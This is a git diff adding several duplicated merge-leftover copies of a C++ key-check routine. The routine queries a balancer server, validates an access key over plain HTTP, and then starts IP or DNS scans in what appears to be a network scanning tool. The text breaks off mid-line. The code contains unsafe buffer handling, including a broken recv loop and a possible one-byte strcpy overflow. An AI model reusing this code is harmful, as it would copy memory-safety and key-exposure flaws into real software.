strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2915.cpp b/CheckKey_Th.cpp.LOCAL.2915.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2915.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2427.cpp b/CheckKey_Th.cpp.REMOTE.2427.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2427.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2593.cpp b/CheckKey_Th.cpp.REMOTE.2593.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2593.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key 